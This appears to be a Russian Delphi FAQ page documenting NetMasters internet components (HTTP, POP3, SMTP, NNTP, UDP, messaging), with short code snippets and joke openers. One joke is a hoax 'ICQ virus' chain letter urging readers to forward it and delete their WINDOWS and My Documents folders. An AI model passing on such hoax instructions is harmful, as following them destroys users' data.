Оригинальный DVD-ROM: eXeL@B DVD !
eXeL@B ВИДЕОКУРС !

ВИДЕОКУРС ВЗЛОМ
выпущен 10 декабря!


УЗНАТЬ БОЛЬШЕ >>
Домой | Статьи | RAR-cтатьи | FAQ | Форум | Скачать | Видеокурс
Новичку | Ссылки | Программирование | Интервью | Архив | Связь

БОЛЬШОЙ FAQ ПО DELPHI



Компонент TNMGeneralServer

Новая сказака про трёх медведей. Мишутка, глядя на нулевой баланс на счету у провайдера:
- Кто юзал мой аккаунт и весь его выюзал?!!!

Компонент TNMGENERALSERVER предлагается как базовый класс для создания на его основе многопотоковых серверов Интернет, специфических корпоративных серверов или других серверов, работающих со стандартами RFC.

Создавая классы-потомки компонента TNMGENERALSERVER и переписывая метод Serve, вы можете создавать специфические серверы, обрабатывающие запросы клиентов нужным вам образом. Обмен данными с клиентом должен выполняться методами read/write или ReadLn/WriteLn, унаследованными от TPowerSock.

Метод Serve является виртуальным методом, который должен переопределяться в классах-потомках. Метод Serve вызывается всякий раз, когда клиент подключается к серверу. Метод Serve исполняется в отдельном потоке, поэтому использовать объекты VCL и другие методы внутри него нельзя.




Компонент TNMHTTP

Страшный ICQ вирус.
ВНИМАНИЕ! Вы только что получили САМЫЙ ПЕРВЫЙ!!!! САМЫЙ КРУТОЙ!!!! и САМЫЙ СТРАШНЫЙ!!!! ICQ-вирус!!!
Я ужасно полиморфный, заразный и деструктивный, НО есть небольшая проблемка:
1. Мой автор вообще вирусы писать не умеет...
2. Не вирусы он тоже не умеет писать, у него по бэйсику тройка с натягом..
3. Умные дяди говорят моему автору, что ICQ-вирус вообще невозможен...
4. Но ему 16 лет, у него переходный возраст и потому плевал он на умных дядей!
Поэтому ОЧЕНЬ Вас прошу сделать следующее:
1) Разослать меня кому только можно;
2) Стереть на своем компьютере папки WINDOWS и Мои Документы.
Заранее спасибо! Искренне Ваш - СТРАШНЫЙ ICQ-вирус!

Компонент TNMHTTP используется для передачи гипертекста через WWW или интранет по протоколу HTTP. Компонент поддерживает версию протокола HTTP1.1.

Вы можете использовать соответствующие методы для работы с документами. Компонент имеет 7 методов: Get, Head, Options, Trace, Put, Post, Delete.

Метод Get применятся для получения гипертекстовых документов с серверов World Wide Web. Запрашиваемый документ указывается в параметре URL. Дальнейшая судьба документа зависит от значения InputFileMode типа Boolean. Если свойству присвоено значение true, о заголовок документа и его тело помещаются в текстовый документ и HTTP файлы соответственно. Имена файлов для этого случая определяются свойствах Header и Body. Если свойство InputFileMode выставлено в false, то заголовок и тело документа размещаются непосредственно в свойствах Header и Body.

Метод Head аналогичен методу Get, но с его помощью можно загрузить только заголовок документа. Заголовок тем же образом может помещаться либо в файл, либо в свойство Header.

Методы Post и Put выполняют обратную задачу - публикацию документов в WWW. Метод Post позволяет дописать данные в соответствующий документ на сервере. Метод Put создаёт новый документ на сервере. Эти методы имеют 2 параметра. Первый из них - это параметр с именем URL, в котором указывается имя документа на WEB-сервере. Второй параметр типа string по имени PostData у метода Post и PutData у метода Put используется для задания публикуемых данных. Данные передаются непосредственно через этот строковый параметр, если свойство OutputFileMode имеет значение false. Если этому свойству присвоить значение true, тогда во втором параметре указываются путь и имя файла, в котором размещаются данные для публикации. Нужно заметить, что для того чтобы опубликовать данные на сервере WEB, у вас должны быть соответствующие права. Как и права на удаление файла если вы используете метод Delete, с помощью которого можно удалять документы на удалённом сервере.

Метод Abort прерывает выполнения транзакции.

Оставшиеся 2 метода предоставляют дополнительные возможности. Метод Trace применяется при отладке. Метод использует указанный а первом параметре ресурс для отображения отладочных данных, передаваемых во втором параметре TraceData. Данные передаются через этот параметр уже известным способом в зависимости от значения свойства OutputFileMode.

И последний метод - метод Options позволяет получить справочную информацию о запрашиваемом ресурсе и командах [методах], разрешённых на данном сервере. Выполнить все методы на большинстве серверов вам не удастся. Обычно вам разрешают использовать метода Get, Head, Options, Trace.

Компонент имеет свойства Port и Host, которые здесь излишни, поскольку эта информация задаётся через параметр URL методов этого компонента. Свойствам InputFileMode и OutputFileMode присваивается по умолчанию значение false. В составном свойстве HeaderInfo имеются свойства UserID и Password, необходимые в том случае, если вам нужно публиковать данные на WEB-сервере. Понятно, что в этом случае вам потребуются соответствующие права доступа, и, значит, регистрация на сервере под некоторым именем, после ввода которого придётся указать и пароль. Ещё вам могут понадобиться свойства BytesRecvd, BytesSent и BytesTotal, которые указывают число принятых байтов, отправленных данных и общее число передаваемых байтов.




Компоненты TNMMsg и TNMMsgSer

Эти компоненты обмениваются простыми текстовыми сообщениями в кодах ASCII по Интернет или Интранет с использованием протокола TCP/IP. Вы можете использовать их для создания чата или или для программы переговоров в локальной сети.

На компьютере, куда будут посылаться сообщения, должен быть запущен TNMMsgServ. Для того, чтобы компонент TNMMsg смог отправить сообщение, вам нужно в свойстве Host указать удалённый компьютер, на котором находится серверная часть приложения. Это может быть имя или IP-адрес. Кроме этого значение свойства Port компонента TNMMsg должно соответствовать значению этого же свойства компонента TNMMsgServ. Стандартный порт, который слушает этот компонент, имеет номер 6711. В свойстве FromName укажите имя своего компьютера, чтобы получатель мог знать от кого получено сообщение. После определения этих свойств, вы можете отправить сообщение, вызвав метод PostIt. Если метод выполняется успешно генерируется событие OnMessageSent. У этого компонента только 1 свой метод - остальные наследуются. Свойство FromName - тоже единственное своё.

Компонент TNMMsgServ предназначен для получения сообщений, отправленных компонентом TNMMsg. У него нет своих свойств и методов, только унаследованные. Главное событие серверного компонента - OnMsg. возникает оно при получении сообщения, текст которого передаётся обработчику события через параметр sMsg. Другой параметр этого обработчика sFrom содержит имя отправителя.

Пример:

По нажатию на кнопку напишите следующий код:


 NMMsg1.FromName:=Edit2.Text;
 NMMsg1.Host:=Edit3.Text;
 NMMsg1.PostIt(Edit1.Text);
 

Для компонента TNMMsgServ событие OnMsg опишите так:


 Memo1.Lines.Add('Получено сообщение от '+sFrom);
 Memo2.Lines.Add('['+sFrom+'] '+sMsg);
 

Здесь Memo1 используется для ведения протокола, а в Memo2 будут отображаться сообщения в формате "[отправитель] сообщение"

Для компонента TNMMsg опишите событие OnMessageSent:


 Memo1.Lines.Add('Отправлено сообщение от '+DateTimeToStr(Now));
 

В этом обработчике будет отслеживаться дата и время отправления сообщения.




Компонент TNMNNTP

Программер читает по аське: "Юзер покинул этот мир, т.к. у него закончились деньги, и провайдер закрыл счет.

Компонент TNMNNTP используется для чтения и публикации сообщений в телеконференциях Интернет [NetNews, NewGroups] в соответствии с протоколом NNTP [Network News Transfer Protocol]. Протолок описан в стандарте RFC 977.

Наряду с электронной почтой и серверами FTP телеконференции являются классическим сервисов Интернет. Ветераны Интернет продолжают пользоваться им весьма активно, но новые пользователи, в ввиду засилья WWW, знают этот сервис плохо, хотя работу с новостями поддерживают не только специальные программы, но и Microsoft Outlook Express и Netscape Navigator. Телеконференции имеют иерархическую структуру. Название конференции состоит из нескольких слов, разделённых точками. Чтобы получить доступ к этому сервису, вам нужно подключиться к одному из серверов новостей. Обычно поставщики услуг Интернет наряду с электронной почтой предоставляют доступ к своему серверу новостей. Если у вашего провайдера нет своего сервера, то вам придётся найти его с помощь поисковых систем Интернет. В отличии WWW, для доступа к которой не требуется использование какого-то специфического сервера, с электронными новостями нужно работать именно так- через сервер. Подключившись к серверу, вы должны сначала загрузить полный список конференций, который он поддерживает. Сервер, к которому вы подключитесь, возможно, будет иметь не полный список, а какой-то ограниченный набор телеконференций Интернет. После этого вам нужно подписаться на какое-то количество конференций и загрузить из них заголовки сообщений. Ваша подписка будет сохраняться на все последующие сеансы связи, пока вы не откажитесь от неё. Размещение сообщений в конференции часто называется публикацией [posting], а само сообщение называется словом статья [article].

Итак, прежде чем начинать работу с сервером новостей, вам нужно подключиться к одному из серверов. Это можно сделать, задав нужное имя сервера новостей в свойстве Host и вызвав метод Connect, который подключит вас к выбранному серверу. После этого вам нужно получить список групп новостей этого сервера. Для этой цели вызывается метод GetGroupList, который помещает полученный список в свойство GroupList. После этого нужно выбрать одну из групп новостей, в которой вы будете просматривать сообщения. Для этого вызывается метод SetGroup, которому к качестве параметра передаётся имя выбранной вами группы новостей. Чтение статей в выбранной группе новостей осуществляется при помощи метода GetArticle. Но перед этим нужно загрузить список сообщений из группы методом GetArticleList. После этого для каждой интересующей вас статьи нужно вызывать метод GetArticle, который будет помещать в свойство Body текст статьи, а в свойство Header - заголовок выбранной статьи.

Для того, чтобы отправить статью в группу новостей сначала нужно заполнить свойство PostBody текстом сообщения, в свойстве PostHeader разместить заголовок сообщения, а после этого вызвать метод PostArticle.

После обсуждения порядка работы с компонентом поговорим о его свойствах, методах и событиях. Основными свойствами являются следующие свойства:

  • GroupList
  • SelectedGroup
  • Body
  • Header
  • CurrentArticle
  • HiMessage
  • LoMessage
  • PostBody
  • PostHeader

В свойстве GroupList типа TStringList размещается список групп новостей выбранного сервера. Свойство заполняется в случае успешного вызова метода GetGroupList. После успешного вызова метода SetGroup в свойство SelectedGroup помещается имя выбранной группы. Метод GetArticleList имеет 2 параметра All типа boolean и ArticleNumber - целого типа. Если первый параметр выставляется в true, то считываются все статьи группы, в противном случае второй параметр задаёт номер сообщения с которого нужно начать загрузку. При загрузки очередной статьи происходит событие OnHeaderList. В свойство CurrentArticle помещается номер текущей статьи. Это свойство получает значение после вызова одного из методов GetArticle, GetArticleBody или GetArticleHeader. Можно сказать, что в это свойство помещается номер той статьи, текст и заголовок которой находятся в свойствах Body и Header. В свойствах HiMessage и LoMessage прописываются максимальный и минимальный номера сообщений, доступных в выбранной группе. В свойства PostBody и PostHeader помещают тело и заголовок отправляемого в группу сообщения. Возможность или невозможность публикации сообщения в выбранной группе определяется значением свойства Posting. типа boolean. Среди свойств компонента имеются составные свойства HeaderRecord и PostHeader, куда записываются тема сообщения электронный адрес отправителя и электронный адрес для ответа, имя группы или групп, в которых опубликовано данное сообщение, время и дата публикации и другие данные. В первом свойстве размещаются данные полученного сообщения, а во втором - отправляемого. В технологии электронных новостей, как и в электронной почте, применяется присоединение или вложение в сообщение одного или нескольких файлов. Свойства AttachFilePath, Attachments, PostAttachments и ParseAttachments служат для работы с вложенными файлами. Значение логического свойства ParseAttachments, равное true, задаёт режим разбора вложенных файлов, при котором файлы будут декодироваться. После этого они будут размещаться с имена, под которыми они перечислены в свойстве Attachments, в каталоге, заданном в свойстве AttachFilePath. Если в ParseAttachments записано false, то файлы просто остаются в теле сообщения. Если вы присоединяете к отправляемому сообщению некоторое количество файлов, то их имена перечисляются в свойстве PostAttachments. В случае если требуется регистрация пользователя на сервере новостей, в свойства UserID и Password помещаются имя пользователя и пароль.




Компонент TNMPOP3

Хакер трахается и думает: "Вот это и называется прямым кабельным соединением на высокой скорости!"

Компонент TNMPOP3 применяется для получения электронных писем от POP3-сервера.

Вам может потребоваться этот компонент при написании программы для некоего корпоративного приложения, использующего свои, внутренние почтовые сервисы. Или вы можете написать программу под свои собственные нужды, которая собирала бы почту с нескольких почтовых серверов, сразу бы сортировала её и отбрасывала ненужный хлам и д.т.

Перед тем как получить электронную почту с помощью компонента TNMPOP3, вам нужно установить соединение с сервером POP3, на котором находится ваш почтовый ящик. Для этого нужно задать значение для свойства Host, в котором нужно указать имя почтового сервера или его IP-адрес. Вы должны задать так же имя пользователя и пароль в свойствах UserID и Password соответственно, открывающие вам доступ к вашему почтовому ящику. После этого вам нужно вызвать метод Connect, который и установит соединение.

Чтобы получить почту вам нужно вызвать метод GetMailMessage. Полученное сообщение будет попадать в свойство MailMessage.

Это был краткий обзор компонента. Сейчас мы обсудим детали по мере ознакомления со свойствами, методами и событиями этого компонента.

В свойстве MailCount этого компонента указывается число сообщений, находящихся в почтовом ящике пользователя на сервере. Это свойство получает значение после установки соединения с сервером. Свойству MailMessage присваивается значение после вызова метода GetMailMessage. В нём находятся все элементы полученного электронного сообщения. Эти элементы включают в себя свойства Attachments, Body, From, Head, MessageID и Subject. В первом помещаются имена вложенных файлов, во втором - текст сообщения, в третьем - адрес отправителя, в четвёртом - заголовок письма. В свойстве MessageID размещается уникальный идентификатор письма, а в свойстве Subject - тема письма.

Свойство Summary содержит краткую информацию об электронном сообщении. Это свойство изменяется после вызова метода GetSummary. В состав этого сложного свойства входят свойства: Bytes, From, Header, MessageID, Subject. Свойства этого составного свойства повторяют свойства из MailMessage, но в отличии от свойства MailMessage здесь не хватает свойств Attachments и Body и добавлено новое свойство Bytes - размер сообщения. Содержимое свойств MailMessage и Summary изменяется после каждого вызова метода GetMailMessage или GetSummary соответственно. Поэтому, если вы считываете несколько писем не забывайте обрабатывать полученные сообщения и только после этого переходите к следующему вызову метода GetMailMessage или GetSummary. В свойстве AttachFilePath вы можете задать каталог для размещения присоединённых к сообщению файлов. Если этого не сделать, то по умолчанию эти файлы будут сохраняться в том же каталоге, из которого запускалось приложение. Если каталог, указанный в свойстве AttachFilePath не существует, то присоединённые файлы будут сохраняться в текущем каталоге. Добавлять в конце пути символ "слэш" необязательно, если его не указали, то добавится автоматически. В зависимости от значения свойства DeleteOnRead прочитанные сообщения могут удалятся или оставаться в почтовом ящике на сервере. Сообщения удаляются после выполнения метода GetMailMessage, если свойство DeleteOnRead установлено в true. Если значение DeleteOnRead равно false, тогда сообщения остаются на сервере. По умолчанию сообщения не удаляются. Удаление сообщений происходит после завершения сеанса работы с сервером. Метод Reset позволяет снять метку на удаление, поэтому, пока сессия не окончена все удалённые методами DeleteOnRead и DeleteMailMessage сообщения можно "вернуть".

Для регистрации на сервере вам нужно задать значения свойствам UserID и Password. В свойстве Password указывается пароль, используемый для получения доступа к почтовому серверу. Если указан неверный пароль или имя пользователя, то в этом случае будет вызвано событие OnAuthenticationFailed, если пароль или имя пользователя не указаны вызывается событие OnAuthenticationNeeded.

Теперь обсудим методы этого компонента. Метод UniqueID возвращает идентификатор сообщения, указанного в параметре метода по номеру. Идентификатор представляет собой строковое уникальное значение, присваиваемое каждому письму почтовым сервером. Это значение помещается в свойство MessageID, являющееся частью составного свойства Summary типа TSummary. Параметр MailNumber изменяется от 1 до максимального значения, определяемого свойством MailCount.

Метод DeleteMailMessage удаляет указанное по номеру сообщение из почтового ящика на почтовом сервере. В случае возникновения ошибки возникает событие OnFailture и возбуждается исключительная ситуация. Если сообщение успешно помечается как удалённое, то происходит событие OnSuccess. Удалённое этим методом сообщение только помечаются как удалённые, реально они удаляются тогда, когда вы заканчиваете работу с почтовым сервером. А пока вы этого не сделали вы можете вызвать метод Reset, и все "удалённые" в данном сеансе связи сообщения опять станут доступными. Метод GetMailMessage извлекает указанное по своему номеру сообщение и помещает его в свойство MailMessage. Если при выполнении метода возникает ошибка, то возбуждается исключительная ситуация. Когда начинается процесс загрузки сообщения, наступает событие OnRetrieveStart. По окончании загрузки генерируется событие OnRetrieveEnd. Если сообщение благополучно получено происходит событие OnSuccess. Если свойство DeleteOnRead установлено в true, то метод GetMailMessage, кроме того, пометит на сервере полученное сообщение на удаление.

Метод GetSummary извлекает краткую информацию о письме и сохраняет её в свойстве Summary. Метод List получает список номеров и размеры сообщений. Для каждого сообщения в списке генерируется событие OnList, которому через параметры передаются номер сообщения и размер сообщения.

Нам осталось рассмотреть события данного компонента. Событие OnAuthenticationFailed происходит в случае, когда для работы с почтовым сервером требуется идентификация, в одном из свойств UserID или Password значение введено неверно. Если свойству Handled присвоить значение true, то попытка регистрации повторяется. Если в свойстве Handled прописано false [что является значением по умолчанию], то возбуждается исключительная ситуация, и соединение обрывается.

Событие OnDecodeStart возникает тогда, когда необходимо декодировать и запись на диск присоединённый к письму файл. В обработчике этого события имеется параметр FileName, определяющий имя присоединённого файла. Это имя можно изменить, если вы хотите сохранить файл под другим именем. Если в письме нет вложенных файлов, о событие не наступает. Добавлять путь к имени файла не следует, п.ч. путь указывается в свойстве AttachFilePath.

Событие OnList происходит в процессе работы метода List после получения номера и размера текущего сообщения в списке. Событие OnReset генерируется в случае успешного выполнения метода Reset и означает это тот факт, что со всех сообщений, помеченных в текущем сеансе на удаление, снята метка на удаление.

Событие OnRetrieveEnd происходит тогда, когда завершается загрузка письма или его резюме. Событие OnRetrieveStart генерируется когда начинается процесс загрузки сообщения. Эти события заменяют свои предыдущие версии, названные ошибочно OnRetriveEnd и OnRetriveStart. Эти предыдущие версии, тем не менее, доступны как Public, так что приложения, использующие их, будут работать.




Компонент TNMSMTP

Приходят в кунсткамеру Чайник, Квакер и програмёр. Видят: банка с заспиртованным двухголовым малышом. Чайник:
- Прогрмма совершила недопустимую ошибку...
Квакер:
- Это просто монстр из квака, из которого полигоны вылезли!
Програмёр:
- Видать ошибка в коде.
Тут видят, знакомый интернетчик идет. Спрашивают его: "чё это мол такое?".
Интернетчик посмотрел-посмотрел, и говорит:
- Ааа! Так это два жлоба одновременно и под одним логином подсоединились!

Компонент TNMSMTP позволяет отправлять электронную почту через почтовый сервер Интернет или выполнить некоторые другие команды, описанные в стандарте RFC 821.

Этот компонент использует для отправки почты стандартный протокол SMTP [Simple Mail Transfer Protocol - простой протокол отправки почты]. Порт по умолчанию, используемый этим протоколом, - 25. Регистрация на многих SMTP-серверах при регистрации не требуется, соответственно вводить имя пользователя при работе с какими-то серверами не требуется. Для работы с компонентом необходимо установить соединение с сервером. Для этого нужно задать значение свойствам Host и Port и вызвать метод Connect. По окончании работы с сервером вызывается метод Disconnect, который завершает установленное ранее соединение.

Главное свойство этого компонента PostMessage. Именно в нём размещается вся информация отправляемого сообщения. Это свойство имеет много полей, но обязательными для заполнения являются только два поля: адрес получателя ToAddress типа TStringList и адрес отправителя FromAddress типа String. В поле получателя можно записать несколько адресов получателя. Сам текст письма помещается в свойство Body типа TStringList. В строковые поля Subject, FromName, Organization записываются тема письма, имя отправителя и название организации. Поле Attachments типа TStringList используется для указания списка вложенных файлов. Для отправки письма применяется метод SendMail. Перед этим нужно установить соединение, т.е. вызвать метод Connect.

Дополнительно к основной задачи отправки почты компонент имеет два метода, с помощью которых вы можете проверить существование на сервере пользователя с указанным именем и получить от сервера список адресов листа рассылки. Первый метод - метод Verify. Под именем пользователя понимается электронный адрес. Некоторым серверам достаточно указать только начальную часть адреса - до символа "@", для других нужно указать полный адрес. Если указанный адрес существует, функция Verify возвратит true, если не существует - false. Имя второго метода - ExpandList. После вызова этого метода генерируется событие OnMailListReturn, в обработчике которого вы можете обнаружить полученный список адресов.

Теперь рассмотрим свойства компонента. В свойстве ClearParams задаётся задаётся режим очистки или сохранения значений в свойстве PostMessage после того, как сообщение отправлено. Если свойству присвоено значение true, то после вызова метода SendMail поля свойства PostMessage очищаются. Если в свойстве ClearParams задано false, то значения, записанные в свойстве PostMessage, сохраняются. Значение по умолчанию - true. Свойство EncodeType определяет тип кодирования присоединяемых к письму файлов. Возможен выбор только из двух значений: uuMime если применяется метод MIME, и uuCode, которому соответствует метод UUEncode. По умолчанию используется метод MIME. В свойстве FinalHeader размещается окончательный вариант заголовка для приготовленного в отправке письма. Это свойство можно посмотреть или изменить с помощью события OnSentStart. В свойстве PostMessage записываются все необходимые элементы письма: адрес получателя[ToAddress] и отправителя[FromAddress], тема письма[Subject], присоединяемые файлы[Attachments], текст сообщения[Body], дата отправки сообщения[Date], имя отправителя[FromName], программа, отправляющая письмо[LacalProgram], адрес для ответа на отправляемое письмо[ReplyTo], адрес для копии[ToCarbonCopy] и для скрытой копии[ToBlindCarbonCopy].

В свойстве SubType определяется тип отсылаемого электронного сообщения. Например, если вы укажите в свойстве SubType значение mtHTML, то программа просмотра писем у получателя знать, что получила документ HTML , и будет пытаться адекватно работать с документом - не выводить теги HTML на экран как текст, а работать с ними как с управляющими последовательностями. Значение по умолчанию mtPlain. Свойство может принимать одно из следующих значений:

  • mtPlain - текст ASCII
  • mtEnriched - текст в формате RTF
  • mtSGML - документ в стандарте SGML
  • mtTagSeperated - текст с символами табуляции в качестве разделитетей
  • mtHTML - документ HTML

В свойстве UserID задаётся имя пользователя для регистрации на сервере SMTP. Не все серверы проверяют UserID, но многие делают это. Если ваш сервер проверяет имя отправителя, а вы его не указали, то тогда будет генерироваться событие OnAuthenticationFailed.

Теперь перейдём к рассмотрению методов компонента

Метод ExpandList используется, когда нужно получить содержимое списка адресов на сервере SMTP. В параметре MailList задаётся имя интересующего вас списка. Когда сервер SMTP возвращает требуемый список, происходит событие OnMailListReturn.

Метод ExtractAddress выделяет адрес электронной почты из строки текста. Обычно этот метод используется для внутреннего употребления, хотя он имеет доступ Public и, соответственно, доступен всем. Строка передаётся через параметр, а выделенный адрес возвращается методом. Для выполнения метода ExtractAddress соединение с сервером SMTP не требуется.

Метод Verify используется для проверки существования пользователя на сервере SMTP.

Метод ClearParameters удаляет содержимое свойства PostMessage. При этом очищаются все поля за исключением Body. Для удаления самого сообщения необходимо вызвать метод PostMessage.Body.Clear. Если свойство ClearParams имеет значение true, то после каждого выполнения метода SendMail автоматически вызывается метод ClearParameters.

Метод SendMail выполняет отправку электронного письма, заданного в полях свойства PostMessage. После успешной отправки сообщения генерируется событие OnSuccess. Если при передачи сообщения на сервер произошла ошибка, происходит событие OnFailtureEvent.

Последними, как всегда, рассмотрим события компонента. Событие OnAttachmentNotFound генерируется, если не находится файл, который должен быть присоединён к отправляемому письму. Событие имеет параметр TFileItem, в котором указано имя отсутствующего файла. Событие OnEncodeEnd генерируется, когда присоединяемый к письму файл закодирован и приготовлен к отправке. Имя закодированного файла опять же передаётся через параметр TFileItem. Событие OnEncodeStart происходит перед началом кодирования присоединяемого к письму файла.

Событие OnHeaderIncomplete происходит, если остались незаполненными следующие свойства из свойства PostMessage: свойство FromAddress или ни одно из следующих свойств - ToAddress, ToCarbonCopy, ToBlindCarbonCopy. Событие относится к типу THeaderIncomplete, является модификацией типа THandlerEvent и в добавление к параметру Handled типа boolean имеет ещё один параметр целого типа hiType. Этот последний параметр указывает номер незаполненного поля и может принимать следующие значения:

  • hiFromAddress: не заполнено поле FromAddress
  • hiToAddress: не заполнено ни одно из полей ToAddress, ToCarbonCopy или ToBlindCarbonCopy

Если у параметра Handled значение true, то попытка отправить сообщение повторяется. Если и после второй попытки ни одно из требуемых полей ни одно из требуемых полей оказывается незаполненным, возбуждается исключительная ситуация, и сообщение не посылается, хотя работа с ним продолжается, и вы вновь можете попытаться его отправить.

Событие OnMailListReturn наступает когда метод ExpandList получает от почтового сервера список адресов. Список передаётся обработчику события через параметр.

Событие OnRecipientNotFound происходит если не найден один из получателей сообщения. Событие получает ошибочный адрес в качестве значения своего параметра.

Событие OnSendStart генерируется непосредственно перед отправкой электронного сообщения. Событие даёт последнюю возможность внести в письмо какие-либо изменения.

Событие OnSuccess генерируется после того как сообщение успешно доставлено. Если сообщение не доставлено, то в этом случае наступает событие OnFailture.




Компоненты TNMStrm И TNMStrmServ

Компоненты TNMSTRM И TNMSTRMSERV применяются для обмена так называемыми потоками. Первый компонент применяется для клиентской программы, а второй - для сервера потоков. Если клиентская программа должна поддерживать и приём потоков, то в неё нужно добавить второй серверный компонент.

Ранее мы рассматривали пару компонентов TNMMsg и TNMMsgServ, которые используются для обмена текстовыми сообщениями. Компоненты , которые мы рассматриваем сейчас, так же используются для обмена информацией, только область их применения несколько шире: данные могут не только текстового вида, но и двоичного. Эти компоненты могут использоваться для обмена любыми файлами . Как уже было сказано эти компоненты обмениваются не самими файлами, а потоками[streams].

Механизм потоков используется для работы с массивами данных, необязательно организованными в файлы. В том числе это может быть буфер в памяти, длинная строка символов и т.д. Во всех этих случаях доступ к данным напоминае6т работу с файлом. Есть соответствующие методы для записи и чтения данных. В Delphi имеются следующие классы потоков:

  • TFileStream
  • TStringStream
  • TMemoryStream
  • TBlobStream
  • TWinSocketStream

для работы с файловыми и строковыми потоками, потоками в динамической памяти, BLOB-потоками и сокетными соединениями соответственно. Все эти классы являются потомками класса TStream.

Перед тем как посылать поток, вы должны указать имя удалённого компьютера, на который вы собираетесь отправлять потоки. Кроме того, нужно в свойстве Port указать порт, соответствующий порту сервера потоков. В свойстве FromName нужно указать своё имя, чтобы получатель знал, от кого пришли данные. Только после того как будут заданы значения этим свойствам, вы сможете послать поток данных методом PostIt, указав его в параметре sStrm. Если сервер получил поток без ошибок, то метод возвращает OK в качестве ответа сервера. После отправки сообщения генерируется событие OnMessageSent.

Если вы хотите изменить значение порта по умолчанию, который слушает ваш сервер потоков, то во время разработки приложения вы это можете сделать в Инспекторе Объектов, изменив значение свойства Port.

Для обработки получаемых сервером потоков вам нужно написать обработчик события OnMSG, который вызывается, когда сервер получает очередной поток. Обработчик события имеет два параметра: параметр sFrom содержит имя отправителя сообщения, в параметре strm находится полученный поток. Помните, что когда вы выйдете из обработчика этого события, полученный поток будет потерян, поэтому вы обязательно должны взять данные из параметра strm и обработать их.




Компонент TNMTime

Однажды молодой сисадмин, открыв свой почтовый ящик, нашел там повестку в райвоенкомат.
- Опять этот чертов спам, - прорычал он, нервно разрывая повестку в клочья. .

Этот компонент предназначен для получения времени от серверов времени в соответствии с протоколом RFC 868. Он аналогичен компоненту TNMDayTime.

Перед тем как использовать этот компонент, вы должны знать имя или IP-адрес соответствующего сервера Интернет и присвоить это значение свойству Host, в которое помещается имя сервера или разделённый точками IP-адрес. Свойство Port изменяется только в том случае, если сервер, к которому вы обращаетесь "слушает" не стандартный порт. А стандартный порт - 37.

После задания имени серверу читайте значение свойства TimeStr, в которое записывается полученное от сервера времени значение.

Пример:


 procedure TForm1.Button1Click(Sender: TObject);
 begin
   NMTime1.Host:=Edit1.Text;
   NMTime1.Port:=StrToInt(Edit2.Text);
   Label3.Caption:=NMTime1.TimeStr;
 end;
 




Компонент TNMUDP

- Паша, а что это твоя АСЬка каждую мессагу по два раза шлет?
- Не знаю точно, но у меня она пополамная...

Компонент TNMUDP используется для отправки пакетов по Интернет или Интранет с использованием протокола UDP [User Datagram Protocol], протокола пользовательских датаграм. Стандарт протокола описан в RFC 768.

Перед тем как отправлять пакеты датаграм, вам нужно задать имя удалённого компьютера и порт, на который вы будете посылать данные. Эти значения нужно присвоить свойствам RemoteHost и RemotePort соответственно. Далее можно отправлять данные одним из двух методов: метод SendBuffer отправляет на удалённый компьютер массив символов [или буфер данных], а метод SendStream занимается отправкой потоков данных. Для получения данных нужно указать значение для свойства LocalPort. Это свойство задаётся во время разработки и не может быть изменено во время выполнения, кроме случая, когда компонент создаётся динамически, с помощью метода Create. В последнем случае свойству LocalPort присвоить значение можно только один раз. Когда данные поступили их можно использовать, происходит событие OnDataAvailable. В обработчике этого события вы можете вызвать метод ReadBuffer и считать данные в буфер или метод ReadStream, чтобы поместить данные в поток. Упомянем, что свойство ReportLevel, которое определяет степень детализации, с которой событие OnStatus выдаёт свой отчёт. Значение по умолчанию Status_Informational. В качестве значений свойства могут выступать только следующие константы:

  • Status_None
  • Status_Informational
  • Status_Basic
  • Status_Routines
  • Status_Debug
  • Status_Trace

Теперь о методах этого компонента. Метод ReadBuffer считывает приходящие датаграммы и помещает их буфер. У метода есть два параметра: параметр Buff задаёт буфер, в который помешаются данные, второй параметр Length - размер данных. Нужно следить за тем, чтобы размер буфера был достаточным для размещения поступающих данных. Если вы пытаетесь записать в буфер данных больше, чем он может вместить, то произойдёт ошибка доступа к памяти.

Отправляют данные методы SendBuffer и SendStream. Первый применяется для отправки на сервер порции данных, записанных в буфер. У этого метода та же пара параметров, что у метода ReadBuffer. Если в массиве Buff нет данных, будет сгенерировано событие OnBufferInvalid. Метод SendStream отсылает поток на удалённый компьютер. Если поток DataStream не содержит данных, произойдёт событие OnStreamInvalid.

Событие OnDataReceived генерируется, когда получены данные от удалённого компьютера. Обработчик события имеет три параметра: в параметре NumberBytes находится количество пришедших байт данных, в параметре FromIP указывается IP-адрес компьютера, который прислал эти данные, и в параметре Port - порт, по которому отправляет свои датаграммы этот удалённый компьютер.

Событие OnDataSend наступает, когда данные успешно отправляются методом SendStream или методом SendBuffer. Нужно заметить, что если произошло событие OnDataSend, означающее успешную отправку данных, это не гарантирует, что данные действительно будут получены удалённым компьютером. Вызвано это тем, что сам протокол UDP не поддерживает контроль доставки данных.

Событие OnInvalidHost генерируется, если в свойстве RemoteHost сервер указан неправильно.




Компонент TNMURL

Транскрипция MS Internet Explorer:
[Майкрософт Интернет Испортил]

Компонент TNMURL применяется для декодирования строк в формате URL в "стандартные" строки и кодирования символьных строк в строки формата URL, которые можно использовать в HTTP-запросах.

Кодирование выполняется по следующим правилам:

  • Все поля [переменные] отделяются знаком амперсанта "&"
  • Имена полей и данных разделяются знаком равенства "="
  • Пробелы заменяются на знак плюс "+"
  • Любой не алфавитно-цифровой символ преобразовывается в знак процента, за которым следует шестнадцатеричный код этого символа из таблицы ASCII. Например, знак минус будет выглядеть как "%2D"

Работать с этим компонентом очень просто. Нужно задать обрабатываемую строку в свойстве InputString, после чего выбрать нужное вам значение из свойства Encode, либо декодированное значение из свойства Decode. В случае возникновения исключительной ситуации произойдёт событие OnError. В свойство Decode записывается результата декодирования строки из свойства InputString. Если в InputString задана строка не формате URL, а обычная строка, то в свойство Decode она попадает в неизменном виде. В свойство Encode помещается преобразованная в формат URL строка из свойства InputString.




Компонент TNMUUProcessor

Компонент выполняет чисто техническую задачу кодирования и декодирования файлов по алгоритму MIME или UUEncodes. Файлы в закодированном виде создаются для передачи по сети. После их получения выполняется обратная задача - декодирование.

Чтобы компонент мог выполнить свою задачу, нужно в свойстве InputStream указать имя обрабатываемого потока, в свойстве Method выбрать метод кодирования/декодирования, в свойстве OutputStream указать выходной поток, а затем вызвать метод Encode или Decode для выполнения кодирования или декодирования соответственно. Свойство Method может принимать только два значения:

  • uuMime
  • uuCode

Потоки могут представлять файлы или области в динамической памяти.

Событие OnBeginEncode происходит перед началом кодирования потока. Событие OnEndEncode происходит перед завершением метода Encode. Событие OnBeginDecode и OnEndDecode генерируются аналогичным образом при выполнении оператора декодирования.




TOpenDialog, TSaveDialog, TOpenPictureDialog и TSavePictureDialog

